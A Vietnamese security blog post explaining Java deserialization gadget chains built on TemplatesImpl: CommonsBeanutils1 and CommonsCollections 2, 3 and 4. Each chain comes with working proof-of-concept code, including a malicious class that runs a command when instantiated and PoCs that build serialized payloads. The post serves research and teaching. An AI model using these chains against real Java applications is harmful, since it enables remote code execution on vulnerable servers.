Java Deserialization p1 - TemplateImpl class and its utilization chain
Preface
com.sun.org.apache.xalan.internal.xsltc.trax.TemplateImpl
là một class nằm trong thư viện Apache Xalan có sẵn trong java runtime nhằm phục vụ quá trình transform XML document, tuy nhiên lại bị lợi dụng rất nhiều trong các bộ deserialization gadget chain do có thể thực hiện load bytecode dẫn đến thực thi command tùy ý. Bài viết sẽ phân tích chi tiết class TemplateImpl
và một vài chain phổ biến sử dụng sink là TemplateImpl
như bộ CommonsBeanutils hay CommonsCollections 2, 3, 4.
Load bytecode
Trước khi tìm hiểu class TemplateImpl
, cùng đi qua method ClassLoader#defineClass
để hiểu cơ chế load bytecode trong java.
Use ClassLoader#defineClass to load bytecode directly
defineClass
thật ra là một java native method được viết bằng C giúp chuyển đổi byte stream thành một java class hoàn chỉnh trong runtime. Tuy nhiên method defineClass
có thuộc tính protected
nên phải tạo một subclass kế thừa nó hoặc dùng đến reflection mới có thể sử dụng trực tiếp:
Ví dụ, tạo một class Hello
với default constructor in thông báo hello:
Compile class này sau đó thử load bytecode bằng cách dùng reflection: Thông báo đã được in
Chú ý: Khi defineClass
được gọi, class object sẽ không được khởi tạo mà chỉ khi ta tự gọi đến constructor của nó ( ở đây là newInstance()
). Kể cả khi ta đặt initialization code trong static block của class thì vẫn không được thực thi khi definingClass. Vậy nên nếu muốn dùng defineClass
để thực thi mã bất kì khi load bytecode ==> phải tìm cách gọi được constructor.
Load bytecode using TemplatesImpl
Như đã trình bày, do ClassLoader#defineClass
không thể truy cập trực tiếp nên trong thực tế khó có thể sử dụng trong exploit chain, tuy nhiên ta có thể sử dụng một attack chain đã rất phổ biến là TemplateImpl
để load bytecode, tổng quan:
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses()
TransletClassLoader.defineClass()
Trong com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
có inner class TransletClassLoader
override method defineClass
:
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;
TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}
TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}
public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}
/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) { // NOTE: overridden
return defineClass(null, b, 0, b.length);
}
}
Do class này không khai báo scope, scope sẽ là “default” ==> Outer class TemplatesImpl
có thể truy cập inner class TransletClassLoader
member.
TemplatesImpl#defineTransletClasses()
là method gọi TransletClassLoader#defineClass()
:
private void defineTransletClasses()
throws TransformerConfigurationException {
if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}
TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); // NOTE: gọi TransformerFactoryImpl#getExternalExtensionsMap()
}
});
try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];
if (classCount > 1) {
_auxClasses = new HashMap<>();
}
for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]); // NOTE: defineClass load bytecode
final Class superClass = _class[i].getSuperclass();
// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) { // NOTE: check superclass
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}
if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
Tuy nhiên vẫn là private
, không thể gọi trực tiếp. Để ý tại đây sau khi defineClass, class được load phải có superclass là AbstractTranslet
. Tiếp đến TemplatesImpl#getTransletInstance
:
private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null;
if (_class == null) defineTransletClasses(); // NOTE: gọi
// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); // ===> NOTE: gọi constructor khởi tạo object
translet.postInitialization();
translet.setTemplates(this);
translet.setOverrideDefaultParser(_overrideDefaultParser);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}
return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
Vẫn private
, để ý line 10 khởi tạo object gọi .newInstance()
sau khi defineClass
–> gọi constructor khởi tạo object.
Cuối cùng newTransformer()
:
public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;
transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); // NOTE: gọi
if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}
if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
Thuộc tính đã là public
, ta có thể gọi trực tiếp.
Đầu tiên, để tạo chain, cần set 3 private properties là _name
, _tfactory
và _bytecodes
:
-
_name
chỉ cần khácnull
để gọi được đếndefineTransletClasses()
: -
_tfactory
cần làTransformerFactoryImpl
object do trongTemplatesImpl#defineTransletClasses()
có gọi đến methodTransformerFactoryImpl#getExternalExtensionsMap()
: -
_bytecodes
là bytecode để khởi tạo malicious class, class này còn phải là subclass củacom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
:
Ta tạo được malicious class sau:
package evil;
public class EvilTemplatesImpl extends AbstractTranslet {
// implements interface method thuộc interface Translet:
public void transform(DOM document, SerializationHandler[] handlers)
throws TransletException {}
// implements abstract method thuộc superclass AbstractTranslet:
public void transform(DOM document, DTMAxisIterator iterator,
SerializationHandler handler) throws TransletException {}
public EvilTemplatesImpl() throws Exception {
super();
Runtime.getRuntime().exec(new String[]{"calc"});
}
}
Để ý có thể thấy có thêm 2 methods transform()
trong malicious class trên, điều này là cần thiết do trong java, subclass cần implements các abstract methods trong superclass + vì superclass là abstract class nên nó có thể không implements tất cả các interface methods nên nếu subclass của nó không phải abstract thì phải implements các interface methods còn lại.
PoC:
public class Main {
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
// java bytecode class EvilTemplatesImpl
Path path = Paths.get("D:\\lab\\java\\CreateClass\\target\\classes\\evil\\EvilTemplatesImpl.class");
byte[] bArr = Files.readAllBytes(path);
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
tplsImpl.newTransformer();
}
}
Utilization chain
Phần này sẽ phân tích một số chain sử dụng sink là TemplatesImpl
CommonsBeanutils1
Đã test bản mới nhất: 1.9.3
Full chain:
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
BeanComparator.compare()
PropertyUtils.getProperty
TemplatesImpl.getOutputProperties()
|TemplatesImpl.newTransformer()
|TemplatesImpl.getTransletInstance()
|TemplatesImpl.defineTransletClasses()
|TransletClassLoader.defineClass()
Ta có TemplatesImpl#getOutputProperties
cũng có thuộc tính public
và gọi đến newTransformer()
:
public synchronized Properties getOutputProperties() {
try {
return newTransformer().getOutputProperties();
}
catch (TransformerConfigurationException e) {
return null;
}
}
Vậy nếu có chain invoke được getter method getOutputProperties
=> RCE
PropertyUtils#getProperty
Thư viện Apache Commons Beanutils cung cấp nhiều methods để làm việc với các JavaBeans trong java, trong đó có static method PropertyUtils.getProperty
cho phép người dùng gọi getter method của class JavaBeans bất kỳ, ví dụ:
PropertyUtils.getProperty(new Person(), "name");
Thì commons-beanutils sẽ tự động tìm getter method từ name attribute -> getName
(đơn giản là viết hoa chữ cái đầu xong prefix thêm get
) và invoke method đó để lấy giá trị trả về. Ngoài ra PropertyUtils.getProperty
còn hỗ trợ đệ quy, vd object a
chứa b
, b
chứa c
==>
PropertyUtils.getProperty(a, "b.c");
==> Nhờ vào method này gọi được getter method của JavaBeans bất kỳ, chỗ nào sử dụng method này nhỉ?
BeanComparator class
Là một class trong commons-beanutils để so sánh liệu 2 JavaBeans có giống nhau, nó implements java.util.Comparator
interface với method compare()
gọi đến PropertyUtils.getProperty
:
public int compare(T o1, T o2) {
if (this.property == null) {
return this.internalCompare(o1, o2);
} else {
try {
Object value1 = PropertyUtils.getProperty(o1, this.property);
Object value2 = PropertyUtils.getProperty(o2, this.property);
return this.internalCompare(value1, value2);
} catch (IllegalAccessException var5) {
throw new RuntimeException("IllegalAccessException: " + var5.toString());
} catch (InvocationTargetException var6) {
throw new RuntimeException("InvocationTargetException: " + var6.toString());
} catch (NoSuchMethodException var7) {
throw new RuntimeException("NoSuchMethodException: " + var7.toString());
}
}
}
Method này nhận 2 objects type generic là 2 tham số, nếu this.property
là null
thì so sánh 2 object trực tiếp, nếu không sẽ gọi được PropertyUtils.getProperty(o, this.property)
từ cả 2 object rồi so sánh giá trị lấy được.
Vậy điều còn lại cần làm là làm sao trigger được method compare()
này.
PriorityQueue#readObject –> BeanComparator#compare()
Phần còn lại của chain, java.util.PriorityQueue
là class đã có sẵn trong java runtime, có thể sử dụng để gọi từ readObject()
-> Object#compare
khá straight forward.
Đầu tiên, từ method readObject()
gọi sang heapify()
:
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
siftDown()
:
private void siftDown(int k, E x) {
if (comparator != null)
siftDownUsingComparator(k, x);
else
siftDownComparable(k, x);
}
nếu field comparator
khác null
sẽ sử dụng siftDownUsingComparator()
:
private void siftDownUsingComparator(int k, E x) {
int half = size >>> 1;
while (k < half) {
int child = (k << 1) + 1;
Object c = queue[child];
int right = child + 1;
if (right < size &&
comparator.compare((E) c, (E) queue[right]) > 0)
c = queue[child = right];
if (comparator.compare(x, (E) c) <= 0)
break;
queue[k] = c;
k = child;
}
queue[k] = x;
}
Tại đây comparator#compare()
sẽ được gọi để compare các object trong property queue
với nhau.
Vậy là đã hoàn thành chain, tạo payload thôi
PoC
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import javassist.ClassPool;
import java.util.Base64;
import java.util.PriorityQueue;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
public class Main {
private static String serTest(Object obj) throws Exception {
ByteArrayOutputStream bArr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bArr);
oos.writeObject(obj);
oos.close();
byte[] bytes = bArr.toByteArray();
return Base64.getEncoder().encodeToString(bytes);
}
private static void deserTest(String input) throws Exception {
byte[] bArr = Base64.getDecoder().decode(input);
InputStream is = new ByteArrayInputStream(bArr);
ObjectInputStream ois = new ObjectInputStream(is);
ois.readObject();
ois.close();
}
private static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(beanComparator);
// replace later
priorityQueue.add(1);
priorityQueue.add(1); // size = 2
setFieldValue(beanComparator, "property", "outputProperties");
setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl, tplsImpl});
// test me
String serialized = serTest(priorityQueue);
deserTest(serialized);
}
}
Note:
- Ta có thể dùng method
add()
để thêm object vào propertyqueue
classPriorityQueue
, khi sizequeue
> 1, methodadd()
sẽ tự gọi đếncompare()
==> tự RCE máy chính mình nên ở đây mình sẽ set trước 2 value harmless để khởi tạo sau đó mới sửa lại thànhTemplatesImpl
object thông qua reflection. - Ở đây mình dùng thêm thư viện
javassist
để tiện lấy bytecode từ classEvilTemplatesImpl
mà không cần mò đi đọc file compiled class.
CommonsCollections2
Yêu cầu: commons-collections4==4.0
do từ version 4.1
Apache đã patch chain này. Ví dụ org.apache.commons.collections4.functors.InvokerTransformer
không còn implements Serializable
làm đứt chain:
4.0
4.1
Full chain:
PriorityQueue.readObject() |
PriorityQueue.heapify() |
PriorityQueue.siftDown() |
PriorityQueue.siftDownUsingComparator() __|
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
--|TemplatesImpl.newTransformer()
|TemplatesImpl.getTransletInstance()
|TemplatesImpl.defineTransletClasses()
|TransletClassLoader.defineClass()
So với CommonsBeanutils1, chain CC2 chỉ khác ở phần cuối source từ TransformingComparator#compare()
.
TransformingComparator#compare() && InvokerTransformer#transform()
Method TransformingComparator#compare()
sẽ gọi đến InvokerTransformer#transform()
với arguments lần lượt là 2 object đang muốn so sánh:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
InvokerTransformer#transform()
sẽ invoke method bất kỳ từ object input
với các fields iMethodName
, iParamTypes
, iArgs
dễ dàng set qua constructor của nó:
public O transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class<?> cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var4) {
// truncated
}
}
}
Constructor:
Do đó ta có thể invoke luôn TemplatesImpl#newTransformer()
để load bytecode
PoC
public static void main(String[] args) throws Exception {
byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer invTransformer = new InvokerTransformer("newTransformer", null, null);
TransformingComparator transComparator = new TransformingComparator(invTransformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{tplsImpl,tplsImpl});
String serialized = serTest(priorityQueue);
deserTest(serialized);
}
Note: Ở đây để tránh tự RCE máy chính mình khi dùng method add()
như chain CommonsBeanutils1 trên, mình dùng reflection để set luôn size=2
cho tiện.
CommonsCollections4
Yêu cầu: commons-collections4==4.0
Full chain:
PriorityQueue.readObject() |
PriorityQueue.heapify() |
PriorityQueue.siftDown() |
PriorityQueue.siftDownUsingComparator() __|
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter.TrAXFilter()
--|TemplatesImpl.newTransformer()
|TemplatesImpl.getTransletInstance()
|TemplatesImpl.defineTransletClasses()
|TransletClassLoader.defineClass()
TrAXFilter#TrAXFilter()
Thư viện apache xalan trong java runtime có class com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
với constructor gọi đến TemplatesImpl#newTransformer()
, điều kiện cần để load bytecode:
public TrAXFilter(Templates templates) throws
TransformerConfigurationException
{
_templates = templates;
_transformer = (TransformerImpl) templates.newTransformer();
_transformerHandler = new TransformerHandlerImpl(_transformer);
_overrideDefaultParser = _transformer.overrideDefaultParser();
}
Tuy nhiên class này không implements interface Serializable
, điều kiện đủ 😬😬:
Cùng xem các class trước đó làm được gì và làm cách nào để khởi tạo được class này khi deserialize?
ChainedTransformer#transform()
Như đã phân tích ở CC2, TransformingComparator#compare()
gọi được đến Object#transform()
:
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
Tuy nhiên khác với CC2, chain này không cần sử dụng InvokerTransformer#transform()
, thay vào đó là ChainedTransformer#transform()
:
public T transform(T object) {
Transformer[] arr$ = this.iTransformers;
int len$ = arr$.length;
for(int i$ = 0; i$ < len$; ++i$) {
Transformer<? super T, ? extends T> iTransformer = arr$[i$];
object = iTransformer.transform(object);
}
return object;
}
- Method lấy một array interface
Transformer[]
từ fieldiTransformers
, interfaceTransformer
: => array này chỉ chứa các objects implements interfaceTransformer
- Lặp và lấy từng
iTransformer
trong array này - Mỗi lần lặp sẽ gọi method
transform()
của objectiTransformer
tương ứng với mà argumentobject
là kết quả của vòng lặp trước đó, riêng vòng lặp đầu tiênobject
là giá trị ban đầu được pass vàoChainedTransformer#transform()
.
==> Ý tưởng: Tìm các class có method transform()
và implements interface Transform
mà kết quả transform()
trả về:
- Class thứ nhất trả về class muốn khởi tạo:
TrAXFilter
- Class thứ hai khởi tạo class object này: ex
TrAXFilter.newInstance()
ConstantTransformer#transform()
ConstantTransformer
có method transform()
trả về field iConstant
, để ý argument input
chẳng để làm gì:
public O transform(I input) {
return this.iConstant;
}
Field iConstant
có object type là generic => gán được object bất kỳ:
private final O iConstant;
Dễ dàng gán iConstant
qua constructor của class:
public ConstantTransformer(O constantToReturn) {
this.iConstant = constantToReturn;
}
InstantiateTransformer#transform()
Method này sẽ khởi tạo class object từ argument input
với iParamTypes
và iArgs
lần lượt là parameters type và arguments của constructor trong class đó
public T transform(Class<? extends T> input) {
try {
if (input == null) {
throw new FunctorException("InstantiateTransformer: Input object was not an instanceof Class, it was a null object");
} else {
Constructor<? extends T> con = input.getConstructor(this.iParamTypes);
return con.newInstance(this.iArgs);
}
} catch (NoSuchMethodException var3) {
// truncated ...
}
Constructor:
public InstantiateTransformer(Class<?>[] paramTypes, Object[] args) {
this.iParamTypes = paramTypes != null ? (Class[])paramTypes.clone() : null;
this.iArgs = args != null ? (Object[])args.clone() : null;
}
Vậy là đã đủ 2 class mà ChainedTransformer#transform()
mong muốn:
- lặp 1
ConstantTransformer#transform(1)
sẽ trả vềTrAXFilter.class
- lặp 2
InstantiateTransformer#transform(TrAXFilter.class)
gọiTrAXFilter.newInstance()
TrAXFilter.class
Như đã trình bày do class TrAXFilter
không implements Serializable
nên không thể sử dụng khi build chain. Tuy nhiên có thể dùng TrAXFilter.class
là vì TrAXFilter.class
object trả về java.lang.Class
cái implements Serializable
.
TrAXFilter.class
dù không phải là TrAXFilter
object nhưng là Class
object chứa các thông tin metadata về class TrAXFilter
như name
, package
, methods
, fields
,… mà có thể sử dụng để khởi tạo object trong java reflection. (here)
PoC
public static void main(String[] args) throws Exception {
byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class}, new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constTransformer, insTransformer
});
TransformingComparator transComparator = new TransformingComparator(chainedTransformer);
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(transComparator);
setFieldValue(priorityQueue, "size", 2);
setFieldValue(priorityQueue, "queue", new Object[]{1,1});
String serialized = serTest(priorityQueue);
deserTest(serialized);
}
CommonsCollections3
Yêu cầu: 3.1
<= commons-collections
<= 3.2.1
&& jdk7
|| jdk8
< 8u71
(khá cũ)
Bài viết dùng: commons-collections 3.1
, jdk8u66
Chain này khá giống CC4, khác mỗi phần source gọi đến ChainedTransformer#transform()
do class TransformingComparator
tại version này chưa implements Serializable
nên không thể sử dụng
Full chain:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform() --|
ConstantTransformer.transform() |
InstantiateTransformer.transform() |
TrAXFilter.TrAXFilter() |
--|TemplatesImpl.newTransformer()
|TemplatesImpl.getTransletInstance()
|TemplatesImpl.defineTransletClasses()
|TransletClassLoader.defineClass()
LazyMap#get() && AnnotationInvocationHandler#invoke()
org.apache.commons.collections.map.LazyMap#get()
gọi được this.factory.transform()
:
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
Có thể set giá trị này qua static method là LazyMap#decorate()
:
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
}
protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
}
AnnotationInvocationHandler#invoke()
là method gọi đến LazyMap#get()
:
public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
switch (var4) {
case "toString":
return this.toStringImpl();
case "hashCode":
return this.hashCodeImpl();
case "annotationType":
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
}
return var6;
}
}
}
}
Gọi this.memberValues.get()
tại dòng 17 (set LazyMap
tại đây), pass argument var4
là 1 String, var4
về sau sẽ được pass vào argument của ConstantTransformer#transform(), cái không liên quan đến việc trả về iConstant
hay TrAXFilter.class
nên không cần quan tâm.
Vậy làm sao để triggers được method invoke()
này
Map(Proxy).entrySet() triggers AnnotationInvocationHandler#invoke()
Class AnnotationInvocationHandler
implements interface InvocationHandler
, là interface dùng trong implements JDK Proxy:
Interface này có method invoke()
khá đặc biệt bởi với class implements interface này method invoke()
sẽ được tự động gọi bất cứ khi nào ứng dụng gọi một method qua proxy instance được gán invocation handler là class đó, document trong jdk cũng đã miêu tả khá chi tiết:
public interface InvocationHandler {
/*
Processes a method invocation on a proxy instance and returns the result. This method will be invoked on an invocation handler when a method is invoked on a proxy instance that it is associated with.
...
*/
public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}
Vậy bây giờ ta cần tạo một lớp Proxy và khai báo invocation handler là class AnnotationInvocationHandler
, khi method bất kỳ gọi lớp Proxy này => AnnotationInvocationHandler#invoke()
đóng vai trò là invocation handler sẽ được gọi.
Method bất kỳ cụ thể ở đây này là entrySet()
với field memberValues
ở line 12 nằm ngay trong method AnnotationInvocationHandler#readObject()
:
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
var1.defaultReadObject();
AnnotationType var2 = null;
try {
var2 = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException var9) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
}
Map var3 = var2.memberTypes();
Iterator var4 = this.memberValues.entrySet().iterator();
// truncated ...
Có thể set field memberValues
qua constructor của class này, field type
là có thể là một class interface bất kỳ:
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
Để tạo một lớp Proxy trong java runtime, ta có thể tạo Dynamic Proxy sử dụng method sau thuộc java.lang.reflect.Proxy
:
public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)
Khá đầy đủ rồi, viết chain thôi
Chain construction
Phần sink giống CC4 mình sẽ không giải thích lại:
byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constTransformer, insTransformer
});
Gán chain ChainedTransformer
vào field factory
của LazyMap
, field map
gán object HashMap
rỗng:
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer); // invoke qua factory#transform()
Để khởi tạo sun.reflect.annotation.AnnotationInvocationHandler
, do constructor có thuộc tính private/default
nên phải khởi tạo qua reflection:
Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
aInvocationHandlerConstructor.setAccessible(true);
Khởi tạo object AnnotationInvocationHandler
thứ nhất, đóng vai trò là invocation handler của lớp proxy. Set field memberValues
là lazyMap
:
InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Tạo dynamic proxy với invocation handler vừa tạo ở trên, Proxy này cần có type là Map
như field memberValues
:
Map proxyMap = (Map) Proxy.newProxyInstance(
map.getClass().getClassLoader(),
map.getClass().getInterfaces(),
proxyHandler
);
Cuối cùng, set proxy trên vào field memberValues
của AnnotationInvocationHandler
object thứ hai, cái sẽ được serialize:
InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
Tổng quan:
PoC
public static void main(String[] args) throws Exception {
byte[] bArr = ClassPool.getDefault().get(evil.EvilTemplatesImpl.class.getName()).toBytecode();
TemplatesImpl tplsImpl = new TemplatesImpl();
setFieldValue(tplsImpl, "_bytecodes", new byte[][]{bArr});
setFieldValue(tplsImpl, "_name", "ahihi");
setFieldValue(tplsImpl, "_tfactory", new TransformerFactoryImpl());
ConstantTransformer constTransformer = new ConstantTransformer(TrAXFilter.class); // loop 1 trả về TrAXFilter.class
InstantiateTransformer insTransformer = new InstantiateTransformer(new Class[]{javax.xml.transform.Templates.class},
new Object[]{tplsImpl}); // loop 2 gọi class TrAXFilter constructor
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
constTransformer, insTransformer
});
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, chainedTransformer); // factory#transform()
Class aInvocationHandlerCls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aInvocationHandlerConstructor = aInvocationHandlerCls.getDeclaredConstructors()[0];
aInvocationHandlerConstructor.setAccessible(true);
// Tạo invocation handler cho proxy
InvocationHandler proxyHandler = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, lazyMap);
Map proxyMap = (Map) Proxy.newProxyInstance(
map.getClass().getClassLoader(),
map.getClass().getInterfaces(),
proxyHandler
);
// sử dụng lại AnnotationInvocationHandler, gán proxyHandler vào field `memberValues`
InvocationHandler aihObj = (InvocationHandler) aInvocationHandlerConstructor.newInstance(Override.class, proxyMap);
String serialized = serTest(aihObj);
deserTest(serialized);
}
Từ jdk8u71
, method AnnotationInvocationHandler#readObject()
đã bị sửa, làm đứt chain, diff jdk8u202
vs jdk8u66
:
Thoughts
Bộ CommonsCollections gadget chain với CC2, CC3, CC4 có cùng một sink là TemplatesImpl
mà mình đã phân tích cùng với CommonsBeanutils1, các bộ còn lại CC1, CC5, CC6, CC7 cũng chung 1 sink khác là: InvokerTransformer
+ ChainedTransformer
= reflection, cái mình sẽ dành thời gian để viết tiếp part 2.